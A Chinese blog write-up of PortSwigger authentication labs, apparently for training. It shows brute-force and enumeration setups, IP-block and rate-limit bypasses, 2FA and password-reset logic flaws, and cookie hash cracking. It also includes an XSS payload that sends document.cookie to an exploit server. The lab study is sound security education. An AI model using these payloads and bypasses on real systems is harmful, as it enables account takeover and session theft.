身份验证漏洞实验-portswigger靶场

最新推荐文章于 2025-04-22 20:06:48 发布
最新推荐文章于 2025-04-22 20:06:48 发布
阅读量1.3k 收藏 16
点赞数 31
CC 4.0 BY-SA版权
分类专栏： web安全漏洞原理 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Au_Wind/article/details/136066487

暴力破解

通过不同的响应

Lab: Username enumeration via different responses

填写信息后抓包

img

send to intruder后，设置爆破参数位置

粘贴官方给的字典，设置如下

img

参数2同样如此，复制官方给的密码字典

img

攻击类型选择Cluster Bumb , 然后就可以开始爆破

观察放回报文的长度

length为3248和3335的是不正确的用户名

img

length为3337的是不正确的密码

img

还有一个length为184的，且状态码为302

img

说明这就是正确的用户密码

username : au
password : charlie

通过微小的返回报文差别

Lab: Username enumeration via subtly different responses

设置的步骤都是一样的

开始爆破后发现，返回了很多种长度的数据包，当密码或者用户名有误都只返回一种错误信息

img

那么就可以在filter中过滤该错误信息

img

选择negative search进行消极匹配

img

结果如上，根据状态码和数据包长度太小也是可以判断的

官方wp的做法是在settings中的grep extract中添加错误信息提取

爆破开始后

点击fetch response,粘贴数据包，选择错误信息，点击ok

img

result处就可以根据warnings进行排序

img

通过报文响应时间

Lab: Username enumeration via response timing

在这个实验中，增加了ip限制，可以使用 X-FORWARDED-FORhttp首部进行绕过

当用户名无效时，响应时间大致相同。

但是，当您输入有效的用户名（您自己的用户名）时，响应时间会根据您输入的密码的长度而增加。

在这个实验中，为了增加效率，会先爆破有效的用户名，然后再爆破密码

payloads设置如下

img

这里要注意，密文的长度是较大的，这是为了使响应时间出现明显的差距

payload设置如下

img

在上方columns勾选

img

根据响应时间排序

可以看到有一条响应时间明显和其他的差距较大

img

那这个就是可能的用户名，只是可能而已，重复几次，观察是否每次的延迟都比较大

第二次爆破后，还是这条数据响应较长

img

说明这就是有效的用户名

接下来修改爆破位置

img

密文处payloads用官方给的字典

最后根据状态码得到密文

img

ip封锁突破

Lab: Broken brute-force protection, IP block

在这个实验中，使用了ip封锁。这里ip封锁的逻辑是，当同一个ip登录失败3次后就会封锁，其中任何一次登录成功计数器就会清零

截获的数据包如下

img

这个实验的难点在于如何正确的处理字典来突破ip封锁

首先我们使用官方的密文字典，其中有100个词组，要使ip不被封锁，就需要每隔两次登录后，登录有效的用户进行清零

这里为了方便，设置每隔一次登录有效用户，那么密文字典的排列就需要在中间穿插已知用户wiener的密码peter,

这里我使用了python来生成，f是读取的官方给的字典

dict = []
f = open("Src/bruteforce_lab4_dict.txt", 'r')
list = open("Src/dict_list.txt","w")
for line in f.readlines():
    dict.append("peter\n")
    dict.append(line)
    
    # print(dict)


for p in dict:

生成的效果如下

img

然后生成100对winer,carlos的用户字典

for i in range(0,100):
    print(f"wiener\ncarlos" )

最后将字典粘贴进payloads设置中

接下来很关键的一步是设置单线程爆破，多线程由于异步的特征，可能会导致计数器不能清零

img

注意爆破模式选择pitchfork，就可以开始爆破了

过滤条件如下

img

最后得出密码

img

账户封锁突破

在这个实验中，当有效的账户连续登录五次失败后，就会将账户登录操作封锁1分钟

在已经有了用户名字典的情况下，就需要先将每个用户名登录5次，然后在登录一次，触发账户封锁操作，被封锁的账户就是有效的账户，然后就可以开始爆破密码

抓取数据包如下

img

添加payload位置

payload1设置用户名字典

payload2设置为null如下

img

这将使不更改请求的情况下发送数据包5次

选择cluster bomb开始爆破

接着修改payload2，让其有值

img

继续爆破

在结果中，看到了数据包长度明显与其他不一样的

img

这说明asterix是有效的用户名

然后就开始爆破密码

img

在爆破结果中，虽然会触发锁定，但是发现了一个数据包中没有错误的提示信息，长度与其他的数据包存在明显的区别

那么密码就是这个

img

登录即可

用户速率限制突破

抓取数据包如下

img

可以看出是通过json格式来校验凭据的。尝试使用数组请求多个密码

img

重放器发送后，发生302跳转，在浏览器中显示响应就完成了

img

这里生成json格式的脚本如下

import json

def read_file(file_path):

    with open(file_path,'r') as file:
        passwords = file.read().splitlines()
        return passwords
    

def gen(passwords):
    json_data = {'password':passwords}
    return json.dumps(json_data,indent=2) # ! indent是用于格式美化的参数

file_path = "Src\json_dict_pass_orin.txt" 

passwords_array = read_file(file_path)
json_string = gen(passwords_array)
print(json_string)

双因素身份验证漏洞

2fa简单绕过

Lab: 2FA simple bypass

使用wiener;peter登录

img

新加载一个页面，要求我们输入邮件验证码

在wiener的邮件服务器我们获得了邮件验证码，并成功登录

img

登录过程的数据包如下

输入账号密码后，跳转到输入验证码的页面

POST /login HTTP/1.1
Host: 0aa1009203188bad80a294b20032002d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0aa1009203188bad80a294b20032002d.web-security-academy.net
Connection: keep-alive
Referer: https://0aa1009203188bad80a294b20032002d.web-security-academy.net/login
Cookie: session=S0EQn36WkRufiAtNT12NAT3ODb1ShIl6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=wiener&password=peter

这里返回了一个set-cookie，用来设置wiener的cookie

HTTP/1.1 302 Found
Location: /login2
Set-Cookie: session=PYN4QFMIKBhaMa8qtPfR5iVazmphiJjE; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0

重定向的地址是 login2页面

在login2页面输入mfa-code,即可成功登录

POST /login2 HTTP/1.1
Host: 0aa1009203188bad80a294b20032002d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0aa1009203188bad80a294b20032002d.web-security-academy.net
Connection: keep-alive
Referer: https://0aa1009203188bad80a294b20032002d.web-security-academy.net/login2
Cookie: session=PYN4QFMIKBhaMa8qtPfR5iVazmphiJjE
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

mfa-code=0250

根据返回包，验证mfa-code成功后,跳转到my-account页面

HTTP/1.1 302 Found
Set-Cookie: session=ixLeN0aiQEspBMrBQkgLezvnOcnROBJ3; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Location: /my-account?id=wiener
Content-Length: 0

那么这里就存在一个问题

在第一次输入账号密码后，实际上已经是一个登录状态了，因为使用了set-cookie。

那么在第二次验证mfa-code的时候，网站可能忽略验证了这个mfa-code

那么这时，只要获取到成功登录后的页面，在验证mfa-code时直接跳转这个页面，就可以绕过验证

例如在这个实验中，输入mfa-code后跳转到的url为

https://0aa1009203188bad80a294b20032002d.web-security-academy.net/my-account?id=wiener

那么我已carlos登录第一个页面后，直接访问

https://0aa1009203188bad80a294b20032002d.web-security-academy.net/my-account

就会发现来到了成功的页面

img

从而绕过了验证

2fa验证逻辑缺陷 + 验证码爆破

登录

POST /login HTTP/1.1
Host: 0ab800c404f4195680f862ad001b0024.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net
Connection: keep-alive
Referer: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net/login
Cookie: session=ecJnLb0LfIxa0Xk4Ajzoc7kFEDW0WD5t
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=wiener&password=peter


---------------


HTTP/1.1 302 Found
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=fkS0mXcUrus7p2lH96rFj212hcF5BZuK; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Location: /login2
Content-Length: 0

2fa验证

POST /login2 HTTP/1.1
Host: 0ab800c404f4195680f862ad001b0024.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net
Connection: keep-alive
Referer: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net/login2
Cookie: session=fkS0mXcUrus7p2lH96rFj212hcF5BZuK; verify=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

mfa-code=0875

-----------------------


HTTP/1.1 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=BkwONTW3tFwusHm0HnXIcr0l8mYMXK6C; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0

对比两处的cookie，session值没有变化，在验证2fa的过程中，cookie带有verify=wiener , 来判断当前验证的账户是wiener

img

现在的思路是将用户改为我们要攻击的账号carlos，并重放就可以第二步验证的是攻击账号的账号了

img

在burp中的repeater中也是可以看到，修改verify=carlos后，发送数据包响应成功

分析的过程如上，然后退出这个账号，重新登录一次

放行第一个数据包

img

在login2中修改verify=carlos

下一个数据包也是同样的操作

img

然后就可以正常进入页面

img

随意填写一个验证码，登录

将数据包发送到intruder,并修改verify

img

payload设置如下

img

开始爆破，筛选为302的数据

img

在浏览器显示响应即可

img

2fa验证码爆破

Lab: 2FA bypass using a brute-force attack

在这个实验中，登录的账号是carlos:montoya

这里没有了邮件服务器，需要我们自行获取验证码

其他身份验证漏洞

强制使用保持登录状态的Cookie

在登录时，有一个stayed-log-in选项，勾选上

img

然后抓取数据包

在cookie中有一个stay-logged-in的值

img

base64解码后如下

wiener:51dc30ddc473d43a6011e9ebba6ca770

后半部分使用MD5网站解密

查询出来就是peter

img

那么这个stay-logged-in的生成机制我们就知道了，过程如下

base64("id:md5(password)")

那么我们要攻击的账户的stay-logged-in就为 base64(carlos:md5(password-dict))

了解生成机制后，退出当前登录的账号，然后开始爆破成功登录的页面。注意，要删除account后面的id=wiener

img

先导入字典

img

添加MD5加密password

img

然后添加前缀carlos:

img

最后base64编码。

开始爆破前一定要先退出登录

筛选长度最长的返回包，这就是登录成功。不成功的话就会302跳转到登录页

img

payload b64解码后 carlos:0571749e2ac330a7455809c6b0e7af90

解md5后 img

离线密码破解

实验提示了用户密码hash在cookie中。且评论功能中存在一个xss漏洞

这个实验中我们首先通过xss获取cookie，然后破解密码，以carlos的身份登录，从我的账户页面删除他的账户

首先在评论处用xss获取cookie到xss平台上。

xss平台为官方的exploit sever

payload为

<script>document.location='//exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/'+document.cookie</script>

img

location为xss平台的地址

在exploit sever点击accerss the log，就可以看到cookie

img

stay-logged-in值为 Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

b64-decode : carlos:26323c16d5f4dabff3bb136f2460a943

md5-decrypt: onceuponatimeimg

接着以carlos的身份登录，删除账户即可

img

密码重置逻辑错误

点击forgot password

img

输入已知的账户分析

img

告诉我们检查邮箱

img

在邮箱中让我们访问一个url

img

进入如下页。输入数据，抓包

img

发现url中和数据流都携带了token

img

删除url中的token，任能重置密码

img

删除数据流中的token，仍可以

img

这就说明了，重置密码时，没有验证token

这时将username修改为carlos,发送数据包后，重置失败，提示我们检查链接

img

这就说明后台可能先检查username，再检查token。如果username正确，那么token可以不存在，但username错误，可能任需要token，但可能不会校验值

那么不删除token，只删除其值试试

img

这样就成功了

以重置的密码登录carlos即可

通过中间件的密码重置病毒

在这个实验中，需要用到一个首部字段 XFH(X-Forwarded-Host)

XFH用来确定客户端发起的请求

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-Forwarded-Host

在 HTTP 请求中，X-Forwarded-Host (XFH) 和 X-Forwarded-For (XFF) 是常见的请求头，用于传递关于客户端的信息，特别是在通过代理服务器或负载均衡器时。它们的作用如下：

  1. X-Forwarded-For (XFF): 用于标识客户端的原始 IP 地址。当请求通过代理服务器或负载均衡器时，该头部将包含一个或多个 IP 地址，表示请求经过的每个中间节点的 IP 地址。这样有助于识别客户端的真实 IP 地址。
  2. X-Forwarded-Host (XFH): 用于标识原始主机名（域名）。类似于 XFF，当请求通过代理服务器或负载均衡器时，该头部会指示原始请求的主机名。这对于处理虚拟主机或需要知道原始主机名的应用程序很有用。

这两个头部都是非标准头部，通常在 HTTP 请求中使用。在处理这些头部时，应该格外小心，因为它们的值可以由客户端伪造，但在特定的网络配置下，它们对于跟踪请求的路径或识别真实客户端 IP 是有用的。

先登录wiener:peter

记录邮箱地址

exploit-0a390057039bed5c817dab5501dc0040.exploit-server.net

然后退出，重置密码

img

访问wiener的邮件服务器，找到了重置url

img

截获重置url的数据包测试

数据包中没有username字段

img

删除token后，提示没有username

img

那就说明username藏在token中了，那么前面绕过token的方法就无效了。

既然username藏在token中，那我们将token替换为要攻击的账号carlos的token，这样就可以重置carlos的密码了

所以下面就要获取carlos的token

我们先来分析以下数据包的流程

首先是一个post请求，发起重置密码请求

img

然后访问邮箱的重置链接

img

输入新的密码后提交数据

img

要获取carlos的token，按照正常的逻辑来说，我们需要carlos的邮箱，但实际上是没有的

这时就需要一个邮箱来充当服务器的角色

这里就要用到漏洞服务器

在数据包添加xfh首部，host值为漏洞服务器exploit-server地址

img

这样，后台服务器就会将密码重置链接返回到这个地址中

这里的原理是，添加了xfh首部后，服务器处理时，可能会将返回的数据包的host首部设置为xfh首部的值，那么服务器处理返回的数据时，就有可能发送到自定义的地址

访问log，就获取到了重置密码的token

img

temp-forgot-password-token=n3vljqcpe6i94ncvotak9821px3c91kn

将token替换，就成功重置了carlos的密码

img

通过更改密码暴力破解密码

首先使用已有账号分析

原密码正确，新密码输入不一致时 – 返回new passwords do not match

img

原密码错误，新密码输入不一致 – 返回current password is incorrect

img

原密码正确/错误， 新密码输入一致时，都是302跳转

img

img

就无法判断

加下来开始爆破carlos的密码

修改数据包如下

img

username为carlos，两次新密码不一致，将origin中的id=wiener删除

字典使用官方提供

img

检索匹配新加一条

img

在爆破结果中筛选得出密码为dragon

img

【漏洞挖掘】——141、 逻辑漏洞之身份验证汇总
Fly_鹏程万里
07-26 361
身份验证是网站必不可少的一项业务功能设计，而身份验证机制的选择和设计也会带来诸多的安全问题，在本篇文章中我们将介绍网站使用的身份验证机制以及这些验证机制中存在的安全漏洞并对一些安全防护机制和设计中存在的缺陷和绕过方式进行简易的刨析和演示，同时会对不同身份验证机制中存在的固有安全漏洞进行分析，最后我们会介绍如何使身份验证机制尽可能安全的方法。
portswigger靶场SQL注入实验(下)
m0_51313985的博客
10-03 2614
实验9 点击了home之后页面给了回显，猜测后面进行盲注的时候要利用此回显来判断，打开bp吧 注入点在trackingid这，简单判断一下 存在注入，下面判断一下是否存在表users，表里是否存在名为administrator的用户以及密码password有多少字符 为真，存在users表，接着查用户 后面判断password的长度 大于1为真，扩大点看看 大于30无回显，长度应该是小于30的，具体多少跑一下payload吧 选择number范围1-30 到20，在确定了密码的长度之
API测试(一)：PortSwigger靶场笔记
aaaadoga的博客
07-14 1157
这篇文章是关于作者在学习PortSwigger的API Test类型漏洞时的记录和学习笔记
[PortSwiggerのWeb Security Academy靶场] Authentication 系列 1st
Spontaneous_0的博客
01-08 260
通过观察发现，并不能直接使用 Intruder 模块的 cluster bomb 来直接暴力破解出账户
记一次PortSwigger JWT靶场复现1-8关
最新发布
wahaha__zhou_的博客
04-22 792
个人笔记，踩过的坑我都写了进去，简单记录我的靶场复现今天复现了，以下都是通过我自己琢磨、查阅资料和朋友指导写的复现笔记，小白入门，如果在博客中有什么错误或有什么专业用语不当值得改进的地方，还请各位大佬不吝赐教。
实验二 网络嗅探与身份认证
weixin_48647514的博客
11-17 475
实验目的： 1、通过使用Wireshark软件掌握Sniffer（嗅探器）工具的使用方法，实现捕捉HTTP等协议的数据包，以理解TCP/IP协议中多种协议的数据结构、通过实验了解HTTP等协议明文传输的特性。 2、研究交换环境下的网络嗅探实现及防范方法，研究并利用ARP协议的安全漏洞，通过Arpspoof实现ARP欺骗以捕获内网其他用户数据。 3、能利用BrupSuite实现网站登录暴力破解获得登录密码。 4、能实现ZIP密码破解，理解安全密码的概念和设置。 系统环境：Kali Linux 2、Window
SSL 身份验证实验
runtime888的博客
11-20 1191
实验拓扑 图 1-1 实验需求 深圳总部在内网中旁挂 SSL VPN 作为 VPN 设备，在总部部署 SSL VPN 服务器 创建用户组 出差员工，并建立用户，该组用户使用用户名和密码进行身份认证 创建用户组 市场部，并建立用户，该组用户使用用户名和密码进行身份认证，同时开启证书认证 与公司的域环境联动，要求域账户可以直接登录 SSL VPN 创建用户组 IT 部，并建立用户，该组用户登录需要绑定硬件特征码 实验解法 部署 SSL VPN 步骤略，参照 SSL VPN 部署实验 ..
portswigger靶场SQL注入实验(上)
m0_51313985的博客
09-09 3514
最近发现一个挺不错的靶场，burpsuite的官方网站在线训练平台 不多说先到第一个系列的实验去一探究竟 麻了，英文界面属实不太友好！ 所以我决定用谷歌看题，火狐去操作(主要火狐用习惯了) 第一个系列的实验为SQL注入，先来简单了解一下吧。 什么是SQL注入？ SQL 注入是一种 Web 安全漏洞，允许攻击者干扰应用程序对其数据库进行的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据，或应用程序本身能够访问的任何其他数据。在许多情况下，攻击者可以修改或删除这些数据，从而导
Portswigger 业务逻辑漏洞 靶场
A182184的博客
12-21 1161
burpsuite业务逻辑漏洞一些实验
PortSwigger web实验室（BurpSuit官方靶场）之SQL注入
m0_74824002的博客
12-13 1196
Hi~ o(￣▽￣)ブ，我是一名刚刚开始学习网安的新手。在做PortSwigger实验室（也就是BurpSuit官方做的靶场和学习中心）题目的时候发现对于新手来说还是有很多问题的。上网搜索相关文章发现可能是官方跟新了靶场的题目，导致很多文章已经“货不对板”了。思来想去最后决定自己来写一篇通关文章！如果有什么地方写的不好或者有什么错误欢迎大伙指出批评~~ps：该文章包含大量我作为初学者在解题过程中的学习过程和内容，可能会显得很臃肿。
Portwigge的Web安全漏洞训练平台SSRF通关
st3pby的博客
11-16 2045
Portwigge的Web安全漏洞训练平台SSRF通关
《信息安全技术》实验报告实验2.身份认证.pdf
10-14
《信息安全技术》实验报告实验2.身份认证.pdf
JWT 攻击 | PortSwigger（burpsuite官方靶场）| Part 1
bin789456的博客
10-05 6455
是token的一种实现，全称为。以形式来说，它就是一个字符串，将用户的信息保存在一个json字符串中，编码后得到的一个token，这个token有签名功能防篡改认证流程：post提交表单后，后端验证完成生成一个jwt，接下来返回该jwt至客户端，随后请求中带上该jwt，即可工作。传统cookie、session对比：1、JWT数据量小，传输速度快2、由于是json，JWT是跨语言的，应用广3、更适用于移动端，因为它们不支持cookie4、避免csrf，因为不依赖cookie。
基本win server 2003——身份认证实验
MAY的博客
04-14 1192
PPPoE协议的工作流程包含发现和会话两个阶段
金融信息安全实训实验报告——身份认证与控制访问0505
Terry0227的博客
05-07 829
身份认证简介： 身份认证是信息安全中最前沿的一道防线，其他的安全服务都主要依赖于他。一旦身份认证系统被攻破，那么系统的所有安全措施将形同虚设。它的是对实体身份的证实，用以识别合法或者非法的实体，阻止非法实体假冒合法实体窃取或者访问网络资源。 静态口令(password) 基于口令的认证方式是较常用的一种技术。用户首先在系统中注册自己的用户名和登录口令。系统将用户名和口令存储在内部数据库中，这个口令一般是长期有效的，因此也称为静态口令。基于静态口令的身份认证技术因其简单和低成本而得到了广泛使用。但这种方
网络嗅探与身份认证（实验二）
weixin_51458001的博客
11-15 504
网络嗅探 网络嗅探是什么？ Sniffer（嗅探器）工作在OSI模型的第二层，利用计算机的网卡截获网络数据报文的一种工具，可用来监听网络中的数据，分析网络的流量，以便找出所关心的网络中潜在的问题。例如,假设网络的某一段运行得不是很好,报文的发送比较慢,而我们又不知道问题出在什么地方,此时就可以用嗅探器确定不同网络协议、不同用户的通信流量，相互主机的报文传送间隔时间等，这些信息为管理员判断网络问题、管理网络区域提供了非常宝贵的信息。 在正常情况下，一个合法的网络接口应该只响应这样的两种数据帧：帧的目标区域具有
PPP身份认证实验配置
weixin_34119545的博客
12-20 378
PPP身份认证实验配置 方法一，PAP双向验证： Router(config)#hostname R1 //设置主机名为R1 R1(config)#username R2 password cisco //建立用户R2，密码cisco R1(config)#int s1/0 R1(config-if)#encapsulation ppp ...
2020-11-13
mimosaml的博客
11-13 280
实验二 网络嗅探与身份认证 红色部分无需打印，套用实验报告模板 实验目的： 1、通过使用Wireshark软件掌握Sniffer（嗅探器）工具的使用方法，实现捕捉HTTP等协议的数据包，以理解TCP/IP协议中多种协议的数据结构、通过实验了解HTTP等协议明文传输的特性。 2、研究交换环境下的网络嗅探实现及防范方法，研究并利用ARP协议的安全漏洞，通过Arpspoof实现ARP欺骗以捕获内网其他用户数据。 3、能利用BrupSuite实现网站登录暴力破解获得登录密码。 4、能实现ZIP密码破解，理解安全密码
实验六 Windows系统中基于帐户密码的身份认证
君莫hacker的博客
11-11 2800
（1）检查和删除不必要的账户。 （2）禁用guest用户。 （3）设置帐户/密码登录身份认证 。 （4）Administrator账号是最高级别的账号，不能删除或禁用，但应重新命名该账号并设置密码以隐藏它，以免受到攻击。此外，其他级别的用户命名为administrator迷惑攻击者。 （5）举例说明Windows系统的帐户安全管理策略和密码安全管理策略。 （6）让Windows系统启动时不显示上次的登录名。 （7）启用审核策略和日志查看。
PortSwigger靶场Clickjacking
03-29
好的，用户想了解PortSwigger靶场中关于Clickjacking的攻击示例和防御方法。首先，我需要回忆一下Clickjacking的基本概念，它属于UI层面的攻击，通过透明层或iframe诱导用户点击。接下来，用户提到PortSwigger靶场，...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值